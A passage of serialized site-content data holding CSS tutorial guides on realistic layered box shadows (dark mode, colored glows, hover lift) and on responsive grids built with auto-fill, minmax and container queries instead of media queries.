-4",[1560,179025,1670],{"class":1669},[1560,179027,13574],{"class":1576},[1560,179029,1670],{"class":1669},[1560,179031,13490],{"class":1576},[1560,179033,1670],{"class":1669},[1560,179035,18694],{"class":1576},[1560,179037,1688],{"class":1570},[1560,179039,5285],{"class":1576},[1560,179041,1459],{"class":1570},[1560,179043,5285],{"class":1576},[1560,179045,1459],{"class":1570},[1560,179047,5285],{"class":1576},[1560,179049,1459],{"class":1570},[1560,179051,19138],{"class":1576},[1560,179053,19216],{"class":1570},[1560,179055,179056,179058,179060,179062,179064,179066,179068,179070,179072,179074,179076,179078,179080,179082,179084,179086],{"class":1562,"line":1710},[1560,179057,70503],{"class":1576},[1560,179059,1670],{"class":1669},[1560,179061,13490],{"class":1576},[1560,179063,1670],{"class":1669},[1560,179065,19024],{"class":1576},[1560,179067,1670],{"class":1669},[1560,179069,18694],{"class":1576},[1560,179071,1688],{"class":1570},[1560,179073,5285],{"class":1576},[1560,179075,1459],{"class":1570},[1560,179077,5285],{"class":1576},[1560,179079,1459],{"class":1570},[1560,179081,5285],{"class":1576},[1560,179083,1459],{"class":1570},[1560,179085,19138],{"class":1576},[1560,179087,1744],{"class":1570},[1560,179089,179090],{"class":1562,"line":1717},[1560,179091,1585],{"class":1570},[16,179093,179094],{},"Once you commit to a light direction, apply it consistently across cards, dropdowns, modals, and tooltips. Mixed shadow directions break spatial coherence.",[11,179096,141122],{"id":141121},[16,179098,179099],{},"Shadows behave differently on dark backgrounds. A shadow that reads clearly on white becomes invisible on dark surfaces because there's less contrast between the shadow and the background.",[33,179101,179103],{"id":179102},"approach-1-colored-shadows","Approach 1: Colored Shadows",[16,179105,179106],{},"Use a darker version of the background color instead of black:",[135,179108,179110],{"className":1554,"code":179109,"language":1556,"meta":141,"style":141},".dark .card {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.3),\n    0 4px 8px rgba(0, 0, 0, 0.2),\n    0 12px 24px rgba(0, 0, 0, 0.15);\n}\n",[143,179111,179112,179120,179126,179158,179190,179222],{"__ignoreMap":141},[1560,179113,179114,179116,179118],{"class":1562,"line":1563},[1560,179115,4355],{"class":1566},[1560,179117,17324],{"class":1566},[1560,179119,1571],{"class":1570},[1560,179121,179122,179124],{"class":1562,"line":337},[1560,179123,18679],{"class":1576},[1560,179125,19182],{"class":1570},[1560,179127,179128,179130,179132,179134,179136,179138,179140,179142,179144,179146,179148,179150,179152,179154,179156],{"class":1562,"line":343},[1560,179129,19187],{"class":1576},[1560,179131,18868],{"class":1576},[1560,179133,1670],{"class":1669},[1560,179135,9426],{"class":1576},[1560,179137,1670],{"class":1669},[1560,179139,18694],{"class":1576},[1560,179141,1688],{"class":1570},[1560,179143,5285],{"class":1576},[1560,179145,1459],{"class":1570},[1560,179147,5285],{"class":1576},[1560,179149,1459],{"class":1570},[1560,179151,5285],{"class":1576},[1560,179153,1459],{"class":1570},[1560,179155,18724],{"class":1576},[1560,179157,19216],{"class":1570},[1560,179159,179160,179162,179164,179166,179168,179170,179172,179174,179176,179178,179180,179182,179184,179186,179188],{"class":1562,"line":365},[1560,179161,19187],{"class":1576},[1560,179163,13574],{"class":1576},[1560,179165,1670],{"class":1669},[1560,179167,13490],{"class":1576},[1560,179169,1670],{"class":1669},[1560,179171,18694],{"class":1576},[1560,179173,1688],{"class":1570},[1560,179175,5285],{"class":1576},[1560,179177,1459],{"class":1570},[1560,179179,5285],{"class":1576},[1560,179181,1459],{"class":1570},[1560,179183,5285],{"class":1576},[1560,179185,1459],{"class":1570},[1560,179187,18949],{"class":1576},[1560,179189,19216],{"class":1570},[1560,179191,179192,179194,179196,179198,179200,179202,179204,179206,179208,179210,179212,179214,179216,179218,179220],{"class":1562,"line":889},[1560,179193,19187],{"class":1576},[1560,179195,19321],{"class":1576},[1560,179197,1670],{"class":1669},[1560,179199,18193],{"class":1576},[1560,179201,1670],{"class":1669},[1560,179203,18694],{"class":1576},[1560,179205,1688],{"class":1570},[1560,179207,5285],{"class":1576},[1560,179209,1459],{"class":1570},[1560,179211,5285],{"class":1576},[1560,179213,1459],{"class":1570},[1560,179215,5285],{"class":1576},[1560,179217,1459],{"class":1570},[1560,179219,19693],{"class":1576},[1560,179221,1744],{"class":1570},[1560,179223,179224],{"class":1562,"line":1710},[1560,179225,1585],{"class":1570},[16,179227,179228],{},"The opacity values are inverted relative to light mode — dark mode shadows need higher opacity to be visible.",[33,179230,179232],{"id":179231},"approach-2-inset-borders","Approach 2: Inset Borders",[16,179234,179235],{},"On very dark surfaces, subtle inset borders can replace shadows entirely:",[135,179237,179239],{"className":1554,"code":179238,"language":1556,"meta":141,"style":141},".dark .card {\n  box-shadow: none;\n  border: 1px solid rgba(255, 255, 255, 0.08);\n}\n",[143,179240,179241,179249,179259,179291],{"__ignoreMap":141},[1560,179242,179243,179245,179247],{"class":1562,"line":1563},[1560,179244,4355],{"class":1566},[1560,179246,17324],{"class":1566},[1560,179248,1571],{"class":1570},[1560,179250,179251,179253,179255,179257],{"class":1562,"line":337},[1560,179252,18679],{"class":1576},[1560,179254,1663],{"class":1570},[1560,179256,24609],{"class":1576},[1560,179258,2228],{"class":1570},[1560,179260,179261,179263,179265,179267,179269,179271,179273,179275,179277,179279,179281,179283,179285,179287,179289],{"class":1562,"line":343},[1560,179262,3580],{"class":1576},[1560,179264,1663],{"class":1570},[1560,179266,3585],{"class":1576},[1560,179268,1670],{"class":1669},[1560,179270,3590],{"class":1576},[1560,179272,18694],{"class":1576},[1560,179274,1688],{"class":1570},[1560,179276,5400],{"class":1576},[1560,179278,1459],{"class":1570},[1560,179280,5400],{"class":1576},[1560,179282,1459],{"class":1570},[1560,179284,5400],{"class":1576},[1560,179286,1459],{"class":1570},[1560,179288,18711],{"class":1576},[1560,179290,1744],{"class":1570},[1560,179292,179293],{"class":1562,"line":365},[1560,179294,1585],{"class":1570},[16,179296,179297],{},"This approach is often more reliable than shadows on near-black backgrounds.",[11,179299,179301],{"id":179300},"colored-shadows-for-brand-accents","Colored Shadows for Brand Accents",[16,179303,179304],{},"Match shadow color to the element's background for a cohesive glow effect:",[135,179306,179308],{"className":1554,"code":179307,"language":1556,"meta":141,"style":141},".blue-button {\n  background: #3b82f6;\n  box-shadow:\n    0 4px 6px rgba(59, 130, 246, 0.2),\n    0 10px 20px rgba(59, 130, 246, 0.15);\n}\n\n.green-card {\n  background: white;\n  border-top: 3px solid #10b981;\n  box-shadow:\n    0 4px 6px rgba(16, 185, 129, 0.1),\n    0 10px 20px rgba(16, 185, 129, 0.08);\n}\n",[143,179309,179310,179317,179327,179333,179365,179397,179401,179405,179412,179422,179440,179446,179478,179510],{"__ignoreMap":141},[1560,179311,179312,179315],{"class":1562,"line":1563},[1560,179313,179314],{"class":1566},".blue-button",[1560,179316,1571],{"class":1570},[1560,179318,179319,179321,179323,179325],{"class":1562,"line":337},[1560,179320,5665],{"class":1576},[1560,179322,1663],{"class":1570},[1560,179324,4147],{"class":1576},[1560,179326,2228],{"class":1570},[1560,179328,179329,179331],{"class":1562,"line":343},[1560,179330,18679],{"class":1576},[1560,179332,19182],{"class":1570},[1560,179334,179335,179337,179339,179341,179343,179345,179347,179349,179351,179353,179355,179357,179359,179361,179363],{"class":1562,"line":365},[1560,179336,19187],{"class":1576},[1560,179338,13574],{"class":1576},[1560,179340,1670],{"class":1669},[1560,179342,43195],{"class":1576},[1560,179344,1670],{"class":1669},[1560,179346,18694],{"class":1576},[1560,179348,1688],{"class":1570},[1560,179350,19995],{"class":1576},[1560,179352,1459],{"class":1570},[1560,179354,20000],{"class":1576},[1560,179356,1459],{"class":1570},[1560,179358,20005],{"class":1576},[1560,179360,1459],{"class":1570},[1560,179362,18949],{"class":1576},[1560,179364,19216],{"class":1570},[1560,179366,179367,179369,179371,179373,179375,179377,179379,179381,179383,179385,179387,179389,179391,179393,179395],{"class":1562,"line":889},[1560,179368,19187],{"class":1576},[1560,179370,43241],{"class":1576},[1560,179372,1670],{"class":1669},[1560,179374,45999],{"class":1576},[1560,179376,1670],{"class":1669},[1560,179378,18694],{"class":1576},[1560,179380,1688],{"class":1570},[1560,179382,19995],{"class":1576},[1560,179384,1459],{"class":1570},[1560,179386,20000],{"class":1576},[1560,179388,1459],{"class":1570},[1560,179390,20005],{"class":1576},[1560,179392,1459],{"class":1570},[1560,179394,19693],{"class":1576},[1560,179396,1744],{"class":1570},[1560,179398,179399],{"class":1562,"line":1710},[1560,179400,1585],{"class":1570},[1560,179402,179403],{"class":1562,"line":1717},[1560,179404,1702],{"emptyLinePlaceholder":363},[1560,179406,179407,179410],{"class":1562,"line":1747},[1560,179408,179409],{"class":1566},".green-card",[1560,179411,1571],{"class":1570},[1560,179413,179414,179416,179418,179420],{"class":1562,"line":2507},[1560,179415,5665],{"class":1576},[1560,179417,1663],{"class":1570},[1560,179419,2565],{"class":1576},[1560,179421,2228],{"class":1570},[1560,179423,179424,179427,179429,179431,179433,179435,179438],{"class":1562,"line":2524},[1560,179425,179426],{"class":1576},"  border-top",[1560,179428,1663],{"class":1570},[1560,179430,17821],{"class":1576},[1560,179432,1670],{"class":1669},[1560,179434,3590],{"class":1576},[1560,179436,179437],{"class":1576}," #10b981",[1560,179439,2228],{"class":1570},[1560,179441,179442,179444],{"class":1562,"line":2529},[1560,179443,18679],{"class":1576},[1560,179445,19182],{"class":1570},[1560,179447,179448,179450,179452,179454,179456,179458,179460,179462,179464,179466,179468,179470,179472,179474,179476],{"class":1562,"line":2534},[1560,179449,19187],{"class":1576},[1560,179451,13574],{"class":1576},[1560,179453,1670],{"class":1669},[1560,179455,43195],{"class":1576},[1560,179457,1670],{"class":1669},[1560,179459,18694],{"class":1576},[1560,179461,1688],{"class":1570},[1560,179463,10057],{"class":1576},[1560,179465,1459],{"class":1570},[1560,179467,48821],{"class":1576},[1560,179469,1459],{"class":1570},[1560,179471,48826],{"class":1576},[1560,179473,1459],{"class":1570},[1560,179475,46961],{"class":1576},[1560,179477,19216],{"class":1570},[1560,179479,179480,179482,179484,179486,179488,179490,179492,179494,179496,179498,179500,179502,179504,179506,179508],{"class":1562,"line":2542},[1560,179481,19187],{"class":1576},[1560,179483,43241],{"class":1576},[1560,179485,1670],{"class":1669},[1560,179487,45999],{"class":1576},[1560,179489,1670],{"class":1669},[1560,179491,18694],{"class":1576},[1560,179493,1688],{"class":1570},[1560,179495,10057],{"class":1576},[1560,179497,1459],{"class":1570},[1560,179499,48821],{"class":1576},[1560,179501,1459],{"class":1570},[1560,179503,48826],{"class":1576},[1560,179505,1459],{"class":1570},[1560,179507,18711],{"class":1576},[1560,179509,1744],{"class":1570},[1560,179511,179512],{"class":1562,"line":2558},[1560,179513,1585],{"class":1570},[16,179515,179516],{},"Colored shadows work best when the tint is subtle — high-opacity colored shadows look artificial.",[11,179518,179520],{"id":179519},"hover-transitions","Hover Transitions",[16,179522,179523],{},"Animate shadows on interaction to create a sense of lifting:",[135,179525,179527],{"className":1554,"code":179526,"language":1556,"meta":141,"style":141},".card {\n  transition: box-shadow 0.2s ease, transform 0.2s ease;\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.05),\n    0 1px 3px rgba(0, 0, 0, 0.1);\n}\n\n.card:hover {\n  transform: translateY(-2px);\n  box-shadow:\n    0 4px 8px rgba(0, 0, 0, 0.06),\n    0 3px 6px rgba(0, 0, 0, 0.08);\n}\n",[143,179528,179529,179535,179557,179563,179595,179627,179631,179635,179641,179657,179663,179695,179727],{"__ignoreMap":141},[1560,179530,179531,179533],{"class":1562,"line":1563},[1560,179532,1567],{"class":1566},[1560,179534,1571],{"class":1570},[1560,179536,179537,179539,179541,179543,179545,179547,179549,179551,179553,179555],{"class":1562,"line":337},[1560,179538,18718],{"class":1576},[1560,179540,18721],{"class":1570},[1560,179542,18949],{"class":1576},[1560,179544,18727],{"class":1669},[1560,179546,18730],{"class":1576},[1560,179548,18956],{"class":1570},[1560,179550,18949],{"class":1576},[1560,179552,18727],{"class":1669},[1560,179554,18730],{"class":1576},[1560,179556,2228],{"class":1570},[1560,179558,179559,179561],{"class":1562,"line":343},[1560,179560,18679],{"class":1576},[1560,179562,19182],{"class":1570},[1560,179564,179565,179567,179569,179571,179573,179575,179577,179579,179581,179583,179585,179587,179589,179591,179593],{"class":1562,"line":365},[1560,179566,19187],{"class":1576},[1560,179568,18868],{"class":1576},[1560,179570,1670],{"class":1669},[1560,179572,9426],{"class":1576},[1560,179574,1670],{"class":1669},[1560,179576,18694],{"class":1576},[1560,179578,1688],{"class":1570},[1560,179580,5285],{"class":1576},[1560,179582,1459],{"class":1570},[1560,179584,5285],{"class":1576},[1560,179586,1459],{"class":1570},[1560,179588,5285],{"class":1576},[1560,179590,1459],{"class":1570},[1560,179592,19138],{"class":1576},[1560,179594,19216],{"class":1570},[1560,179596,179597,179599,179601,179603,179605,179607,179609,179611,179613,179615,179617,179619,179621,179623,179625],{"class":1562,"line":889},[1560,179598,19187],{"class":1576},[1560,179600,18868],{"class":1576},[1560,179602,1670],{"class":1669},[1560,179604,48433],{"class":1576},[1560,179606,1670],{"class":1669},[1560,179608,18694],{"class":1576},[1560,179610,1688],{"class":1570},[1560,179612,5285],{"class":1576},[1560,179614,1459],{"class":1570},[1560,179616,5285],{"class":1576},[1560,179618,1459],{"class":1570},[1560,179620,5285],{"class":1576},[1560,179622,1459],{"class":1570},[1560,179624,46961],{"class":1576},[1560,179626,1744],{"class":1570},[1560,179628,179629],{"class":1562,"line":1710},[1560,179630,1585],{"class":1570},[1560,179632,179633],{"class":1562,"line":1717},[1560,179634,1702],{"emptyLinePlaceholder":363},[1560,179636,179637,179639],{"class":1562,"line":1747},[1560,179638,18745],{"class":1566},[1560,179640,1571],{"class":1570},[1560,179642,179643,179645,179647,179649,179651,179653,179655],{"class":1562,"line":2507},[1560,179644,1720],{"class":1576},[1560,179646,1663],{"class":1570},[1560,179648,18845],{"class":1576},[1560,179650,1688],{"class":1570},[1560,179652,19759],{"class":1576},[1560,179654,1670],{"class":1669},[1560,179656,1744],{"class":1570},[1560,179658,179659,179661],{"class":1562,"line":2524},[1560,179660,18679],{"class":1576},[1560,179662,19182],{"class":1570},[1560,179664,179665,179667,179669,179671,179673,179675,179677,179679,179681,179683,179685,179687,179689,179691,179693],{"class":1562,"line":2529},[1560,179666,19187],{"class":1576},[1560,179668,13574],{"class":1576},[1560,179670,1670],{"class":1669},[1560,179672,13490],{"class":1576},[1560,179674,1670],{"class":1669},[1560,179676,18694],{"class":1576},[1560,179678,1688],{"class":1570},[1560,179680,5285],{"class":1576},[1560,179682,1459],{"class":1570},[1560,179684,5285],{"class":1576},[1560,179686,1459],{"class":1570},[1560,179688,5285],{"class":1576},[1560,179690,1459],{"class":1570},[1560,179692,18924],{"class":1576},[1560,179694,19216],{"class":1570},[1560,179696,179697,179699,179701,179703,179705,179707,179709,179711,179713,179715,179717,179719,179721,179723,179725],{"class":1562,"line":2534},[1560,179698,19187],{"class":1576},[1560,179700,48433],{"class":1576},[1560,179702,1670],{"class":1669},[1560,179704,43195],{"class":1576},[1560,179706,1670],{"class":1669},[1560,179708,18694],{"class":1576},[1560,179710,1688],{"class":1570},[1560,179712,5285],{"class":1576},[1560,179714,1459],{"class":1570},[1560,179716,5285],{"class":1576},[1560,179718,1459],{"class":1570},[1560,179720,5285],{"class":1576},[1560,179722,1459],{"class":1570},[1560,179724,18711],{"class":1576},[1560,179726,1744],{"class":1570},[1560,179728,179729],{"class":1562,"line":2542},[1560,179730,1585],{"class":1570},[16,179732,179733,179734,179736],{},"The slight ",[143,179735,18845],{}," reinforces the illusion of lifting away from the surface.",[11,179738,321],{"id":320},[41,179740,179741,179745,179749],{},[44,179742,179743],{},[98,179744,20290],{"href":20289},[44,179746,179747],{},[98,179748,49337],{"href":49336},[44,179750,179751],{},[98,179752,179753],{"href":71812},"Neumorphism in CSS",[11,179755,286],{"id":285},[16,179757,179758],{},"Design realistic, layered shadows visually. Adjust offset, blur, spread, and opacity for each layer with our interactive box-shadow generator.",[16,179760,4531,179761],{},[98,179762,179763],{"href":20278},[47,179764,45395],{},[2043,179766,62534],{},{"title":141,"searchDepth":337,"depth":337,"links":179768},[179769,179770,179773,179776,179777,179781,179782,179783,179784],{"id":178253,"depth":337,"text":178254},{"id":178269,"depth":337,"text":178270,"children":179771},[179772],{"id":178493,"depth":343,"text":178494},{"id":178503,"depth":337,"text":178504,"children":179774},[179775],{"id":178592,"depth":343,"text":178593},{"id":178956,"depth":337,"text":178957},{"id":141121,"depth":337,"text":141122,"children":179778},[179779,179780],{"id":179102,"depth":343,"text":179103},{"id":179231,"depth":343,"text":179232},{"id":179300,"depth":337,"text":179301},{"id":179519,"depth":337,"text":179520},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Techniques for layered, natural-looking shadows that mimic real-world light sources.",{"immutable":363},{"title":71771,"description":179785},"guides\u002Frealistic-css-shadows","rAzYGeD-rSs9UItL0DRbbfCE73KybDZeGuHSUfk-EsU",{"id":179791,"title":63654,"body":179792,"date":2070,"description":180674,"extension":361,"meta":180675,"navigation":363,"path":180676,"readingTime":889,"seo":180677,"stem":180678,"__hash__":180679},"guides\u002Fguides\u002Fresponsive-grid-no-media-queries.md",{"type":8,"value":179793,"toc":180662},[179794,179798,179801,179808,179812,179878,179881,179936,179941,179946,179948,179951,179989,180024,180034,180038,180045,180122,180128,180132,180135,180200,180205,180272,180275,180279,180282,180347,180356,180404,180408,180579,180585,180589,180592,180612,180615,180617,180647,180649,180660],[11,179795,179797],{"id":179796},"the-problem-with-breakpoints","The Problem with Breakpoints",[16,179799,179800],{},"Media queries couple your layout to the viewport. Change the viewport breakpoints and every component that relies on them breaks. Wrap a sidebar component in a narrower container and suddenly its internal columns collapse at the wrong width.",[16,179802,179803,179804,179807],{},"Responsive grid layouts without media queries solve this by letting the ",[47,179805,179806],{},"container width"," — not the viewport — determine when columns reflow. The grid adapts on its own.",[11,179809,179811],{"id":179810},"the-core-pattern-auto-fill-minmax","The Core Pattern: auto-fill + minmax",[135,179813,179814],{"className":1554,"code":63377,"language":1556,"meta":141,"style":141},[143,179815,179816,179822,179832,179862,179874],{"__ignoreMap":141},[1560,179817,179818,179820],{"class":1562,"line":1563},[1560,179819,63384],{"class":1566},[1560,179821,1571],{"class":1570},[1560,179823,179824,179826,179828,179830],{"class":1562,"line":337},[1560,179825,12504],{"class":1576},[1560,179827,1663],{"class":1570},[1560,179829,53158],{"class":1576},[1560,179831,2228],{"class":1570},[1560,179833,179834,179836,179838,179840,179842,179844,179846,179848,179850,179852,179854,179856,179858,179860],{"class":1562,"line":343},[1560,179835,61005],{"class":1576},[1560,179837,1663],{"class":1570},[1560,179839,9442],{"class":1576},[1560,179841,1688],{"class":1570},[1560,179843,63144],{"class":1576},[1560,179845,1459],{"class":1570},[1560,179847,62152],{"class":1576},[1560,179849,1688],{"class":1570},[1560,179851,23906],{"class":1576},[1560,179853,1670],{"class":1669},[1560,179855,1459],{"class":1570},[1560,179857,3585],{"class":1576},[1560,179859,61016],{"class":1669},[1560,179861,41941],{"class":1570},[1560,179863,179864,179866,179868,179870,179872],{"class":1562,"line":365},[1560,179865,32235],{"class":1576},[1560,179867,1663],{"class":1570},[1560,179869,61489],{"class":1576},[1560,179871,1670],{"class":1669},[1560,179873,2228],{"class":1570},[1560,179875,179876],{"class":1562,"line":889},[1560,179877,1585],{"class":1570},[16,179879,179880],{},"This one declaration does the work of four breakpoints:",[193,179882,179883,179894],{},[196,179884,179885],{},[199,179886,179887,179889,179892],{},[202,179888,107687],{},[202,179890,179891],{},"Columns",[202,179893,31483],{},[211,179895,179896,179906,179916,179926],{},[199,179897,179898,179900,179903],{},[216,179899,1814],{},[216,179901,179902],{},"4 columns",[216,179904,179905],{},"280px × 4 = 1120px — fits",[199,179907,179908,179910,179913],{},[216,179909,107696],{},[216,179911,179912],{},"3 columns",[216,179914,179915],{},"280px × 3 = 840px — fits",[199,179917,179918,179920,179923],{},[216,179919,107704],{},[216,179921,179922],{},"2 columns",[216,179924,179925],{},"280px × 2 = 560px — fits",[199,179927,179928,179930,179933],{},[216,179929,107712],{},[216,179931,179932],{},"1 column",[216,179934,179935],{},"280px × 1 = 280px — fits",[16,179937,179938,179939,12826],{},"The browser calculates: \"How many 280px columns fit in this width? Fill the row, then distribute leftover space as ",[143,179940,64771],{},[16,179942,178160,179943,179945],{},[143,179944,17186],{}," rules. No breakpoint constants. The layout responds to its container.",[11,179947,63124],{"id":63123},[16,179949,179950],{},"The difference matters when you have fewer items than columns:",[135,179952,179954],{"className":1554,"code":179953,"language":1556,"meta":141,"style":141},"\u002F* auto-fill: creates empty tracks to fill the row *\u002F\ngrid-template-columns: repeat(auto-fill, minmax(200px, 1fr));\n\n\u002F* auto-fit: collapses empty tracks so items stretch *\u002F\ngrid-template-columns: repeat(auto-fit, minmax(200px, 1fr));\n",[143,179955,179956,179960,179970,179974,179979],{"__ignoreMap":141},[1560,179957,179958],{"class":1562,"line":1563},[1560,179959,63134],{"class":1649},[1560,179961,179962,179964,179966,179968],{"class":1562,"line":337},[1560,179963,61732],{"class":2484},[1560,179965,63141],{"class":1570},[1560,179967,63144],{"class":2484},[1560,179969,63147],{"class":1570},[1560,179971,179972],{"class":1562,"line":343},[1560,179973,1702],{"emptyLinePlaceholder":363},[1560,179975,179976],{"class":1562,"line":365},[1560,179977,179978],{"class":1649},"\u002F* auto-fit: collapses empty tracks so items stretch *\u002F\n",[1560,179980,179981,179983,179985,179987],{"class":1562,"line":889},[1560,179982,61732],{"class":2484},[1560,179984,63141],{"class":1570},[1560,179986,63165],{"class":2484},[1560,179988,63147],{"class":1570},[193,179990,179991,180001],{},[196,179992,179993],{},[199,179994,179995,179997,179999],{},[202,179996,21080],{},[202,179998,63144],{},[202,180000,63165],{},[211,180002,180003,180014],{},[199,180004,180005,180008,180011],{},[216,180006,180007],{},"3 items, space for 5 columns",[216,180009,180010],{},"3 stretched items + 2 empty tracks",[216,180012,180013],{},"3 items stretch to fill all space",[199,180015,180016,180019,180022],{},[216,180017,180018],{},"6 items, space for 5 columns",[216,180020,180021],{},"Same — all items fill naturally",[216,180023,180021],{},[16,180025,180026,101783,180028,180030,180031,180033],{},[47,180027,42103],{},[143,180029,63165],{}," when items should always expand. Use ",[143,180032,63144],{}," when you want items to maintain a consistent maximum width.",[11,180035,180037],{"id":180036},"constraining-maximum-width","Constraining Maximum Width",[16,180039,180040,180042,180043,8037],{},[143,180041,62755],{}," sets a floor. To also set a ceiling, use ",[143,180044,63989],{},[135,180046,180048],{"className":1554,"code":180047,"language":1556,"meta":141,"style":141},".card-grid {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(min(280px, 100%), 1fr));\n  gap: 24px;\n}\n",[143,180049,180050,180056,180066,180106,180118],{"__ignoreMap":141},[1560,180051,180052,180054],{"class":1562,"line":1563},[1560,180053,63384],{"class":1566},[1560,180055,1571],{"class":1570},[1560,180057,180058,180060,180062,180064],{"class":1562,"line":337},[1560,180059,12504],{"class":1576},[1560,180061,1663],{"class":1570},[1560,180063,53158],{"class":1576},[1560,180065,2228],{"class":1570},[1560,180067,180068,180070,180072,180074,180076,180078,180080,180082,180084,180086,180088,180090,180092,180094,180096,180098,180100,180102,180104],{"class":1562,"line":343},[1560,180069,61005],{"class":1576},[1560,180071,1663],{"class":1570},[1560,180073,9442],{"class":1576},[1560,180075,1688],{"class":1570},[1560,180077,63144],{"class":1576},[1560,180079,1459],{"class":1570},[1560,180081,62152],{"class":1576},[1560,180083,1688],{"class":1570},[1560,180085,28995],{"class":1576},[1560,180087,1688],{"class":1570},[1560,180089,23906],{"class":1576},[1560,180091,1670],{"class":1669},[1560,180093,1459],{"class":1570},[1560,180095,18114],{"class":1576},[1560,180097,17990],{"class":1669},[1560,180099,18895],{"class":1570},[1560,180101,3585],{"class":1576},[1560,180103,61016],{"class":1669},[1560,180105,41941],{"class":1570},[1560,180107,180108,180110,180112,180114,180116],{"class":1562,"line":365},[1560,180109,32235],{"class":1576},[1560,180111,1663],{"class":1570},[1560,180113,61489],{"class":1576},[1560,180115,1670],{"class":1669},[1560,180117,2228],{"class":1570},[1560,180119,180120],{"class":1562,"line":889},[1560,180121,1585],{"class":1570},[16,180123,421,180124,180127],{},[143,180125,180126],{},"min(280px, 100%)"," ensures the column never exceeds the container — preventing overflow on very narrow screens where even 280px is too wide.",[11,180129,180131],{"id":180130},"variable-width-sidebars","Variable-Width Sidebars",[16,180133,180134],{},"Combine a fixed sidebar with a fluid main area:",[135,180136,180138],{"className":1554,"code":180137,"language":1556,"meta":141,"style":141},".layout {\n  display: grid;\n  grid-template-columns: minmax(200px, 260px) 1fr;\n  gap: 24px;\n}\n",[143,180139,180140,180146,180156,180184,180196],{"__ignoreMap":141},[1560,180141,180142,180144],{"class":1562,"line":1563},[1560,180143,33471],{"class":1566},[1560,180145,1571],{"class":1570},[1560,180147,180148,180150,180152,180154],{"class":1562,"line":337},[1560,180149,12504],{"class":1576},[1560,180151,1663],{"class":1570},[1560,180153,53158],{"class":1576},[1560,180155,2228],{"class":1570},[1560,180157,180158,180160,180162,180164,180166,180168,180170,180172,180174,180176,180178,180180,180182],{"class":1562,"line":343},[1560,180159,61005],{"class":1576},[1560,180161,1663],{"class":1570},[1560,180163,62152],{"class":1576},[1560,180165,1688],{"class":1570},[1560,180167,18101],{"class":1576},[1560,180169,1670],{"class":1669},[1560,180171,1459],{"class":1570},[1560,180173,63480],{"class":1576},[1560,180175,1670],{"class":1669},[1560,180177,1733],{"class":1570},[1560,180179,3585],{"class":1576},[1560,180181,61016],{"class":1669},[1560,180183,2228],{"class":1570},[1560,180185,180186,180188,180190,180192,180194],{"class":1562,"line":365},[1560,180187,32235],{"class":1576},[1560,180189,1663],{"class":1570},[1560,180191,61489],{"class":1576},[1560,180193,1670],{"class":1669},[1560,180195,2228],{"class":1570},[1560,180197,180198],{"class":1562,"line":889},[1560,180199,1585],{"class":1570},[16,180201,180202,180203,8037],{},"The sidebar stays between 200px and 260px. The main area takes whatever remains. On very narrow screens, you can let the sidebar wrap below using ",[143,180204,63144],{},[135,180206,180208],{"className":1554,"code":180207,"language":1556,"meta":141,"style":141},".layout {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));\n  gap: 24px;\n}\n",[143,180209,180210,180216,180226,180256,180268],{"__ignoreMap":141},[1560,180211,180212,180214],{"class":1562,"line":1563},[1560,180213,33471],{"class":1566},[1560,180215,1571],{"class":1570},[1560,180217,180218,180220,180222,180224],{"class":1562,"line":337},[1560,180219,12504],{"class":1576},[1560,180221,1663],{"class":1570},[1560,180223,53158],{"class":1576},[1560,180225,2228],{"class":1570},[1560,180227,180228,180230,180232,180234,180236,180238,180240,180242,180244,180246,180248,180250,180252,180254],{"class":1562,"line":343},[1560,180229,61005],{"class":1576},[1560,180231,1663],{"class":1570},[1560,180233,9442],{"class":1576},[1560,180235,1688],{"class":1570},[1560,180237,63144],{"class":1576},[1560,180239,1459],{"class":1570},[1560,180241,62152],{"class":1576},[1560,180243,1688],{"class":1570},[1560,180245,44009],{"class":1576},[1560,180247,1670],{"class":1669},[1560,180249,1459],{"class":1570},[1560,180251,3585],{"class":1576},[1560,180253,61016],{"class":1669},[1560,180255,41941],{"class":1570},[1560,180257,180258,180260,180262,180264,180266],{"class":1562,"line":365},[1560,180259,32235],{"class":1576},[1560,180261,1663],{"class":1570},[1560,180263,61489],{"class":1576},[1560,180265,1670],{"class":1669},[1560,180267,2228],{"class":1570},[1560,180269,180270],{"class":1562,"line":889},[1560,180271,1585],{"class":1570},[16,180273,180274],{},"This single rule works for both wide (side-by-side) and narrow (stacked) layouts.",[11,180276,180278],{"id":180277},"container-queries-component-level-responsiveness","Container Queries: Component-Level Responsiveness",[16,180280,180281],{},"Container queries let components respond to their own container width — not the viewport:",[135,180283,180285],{"className":1554,"code":180284,"language":1556,"meta":141,"style":141},".card-container {\n  container-type: inline-size;\n}\n\n@container (min-width: 500px) {\n  .card {\n    grid-template-columns: 1fr 1fr;\n  }\n}\n",[143,180286,180287,180293,180301,180305,180309,180317,180323,180339,180343],{"__ignoreMap":141},[1560,180288,180289,180291],{"class":1562,"line":1563},[1560,180290,43986],{"class":1566},[1560,180292,1571],{"class":1570},[1560,180294,180295,180298],{"class":1562,"line":337},[1560,180296,180297],{"class":1576},"  container-type",[1560,180299,180300],{"class":1570},": inline-size;\n",[1560,180302,180303],{"class":1562,"line":343},[1560,180304,1585],{"class":1570},[1560,180306,180307],{"class":1562,"line":365},[1560,180308,1702],{"emptyLinePlaceholder":363},[1560,180310,180311,180314],{"class":1562,"line":889},[1560,180312,180313],{"class":1669},"@container",[1560,180315,180316],{"class":1570}," (min-width: 500px) {\n",[1560,180318,180319,180321],{"class":1562,"line":1710},[1560,180320,19889],{"class":1566},[1560,180322,1571],{"class":1570},[1560,180324,180325,180327,180329,180331,180333,180335,180337],{"class":1562,"line":1717},[1560,180326,61546],{"class":1576},[1560,180328,1663],{"class":1570},[1560,180330,3585],{"class":1576},[1560,180332,61016],{"class":1669},[1560,180334,18868],{"class":1576},[1560,180336,61016],{"class":1669},[1560,180338,2228],{"class":1570},[1560,180340,180341],{"class":1562,"line":1747},[1560,180342,4959],{"class":1570},[1560,180344,180345],{"class":1562,"line":2507},[1560,180346,1585],{"class":1570},[16,180348,180349,180350,180352,180353,180355],{},"Now a ",[143,180351,1567],{}," reformats itself based on the ",[143,180354,43986],{}," width. Put the same card in a sidebar (300px) and it stacks vertically. Put it in the main content area (700px) and it goes side-by-side. Same component, different contexts.",[193,180357,180358,180370],{},[196,180359,180360],{},[199,180361,180362,180364,180367],{},[202,180363,81881],{},[202,180365,180366],{},"Responds 